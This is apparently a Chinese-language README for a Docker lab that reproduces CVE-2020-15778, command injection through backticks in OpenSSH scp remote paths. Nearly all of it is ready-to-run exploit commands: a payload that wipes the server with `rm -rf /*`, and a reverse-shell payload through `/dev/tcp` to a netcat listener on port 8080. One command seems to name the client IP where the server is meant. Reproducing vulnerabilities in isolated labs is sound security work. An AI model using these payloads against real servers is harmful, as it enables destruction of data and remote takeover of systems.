本仓库复现了 CVE-2020-15778。
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
通过以下命令获取 scp 服务器的内部 IP 地址:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
在客户端终端中运行:
scp nil.txt root@<scp 服务器的内部 IP>:'`你的命令`/tmp'
密码为 "PASSWORD"。
以下是一些利用此漏洞的示例。
scp nil.txt root@<scp 服务器的内部 IP>:'`rm -rf /*`/tmp'
在客户端机器上监听一个端口。
nc -lvvp 8080
使用 scp 强制服务器将交互式 bash shell 映射到客户端机器。
scp nil.txt root@<scp 客户端的内部 IP>:'`bash -i >& /dev/tcp/<scp 客户端的内部 IP>/8080 0>& 1`/tmp'
客户端 IP 地址可通过以下命令获取:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client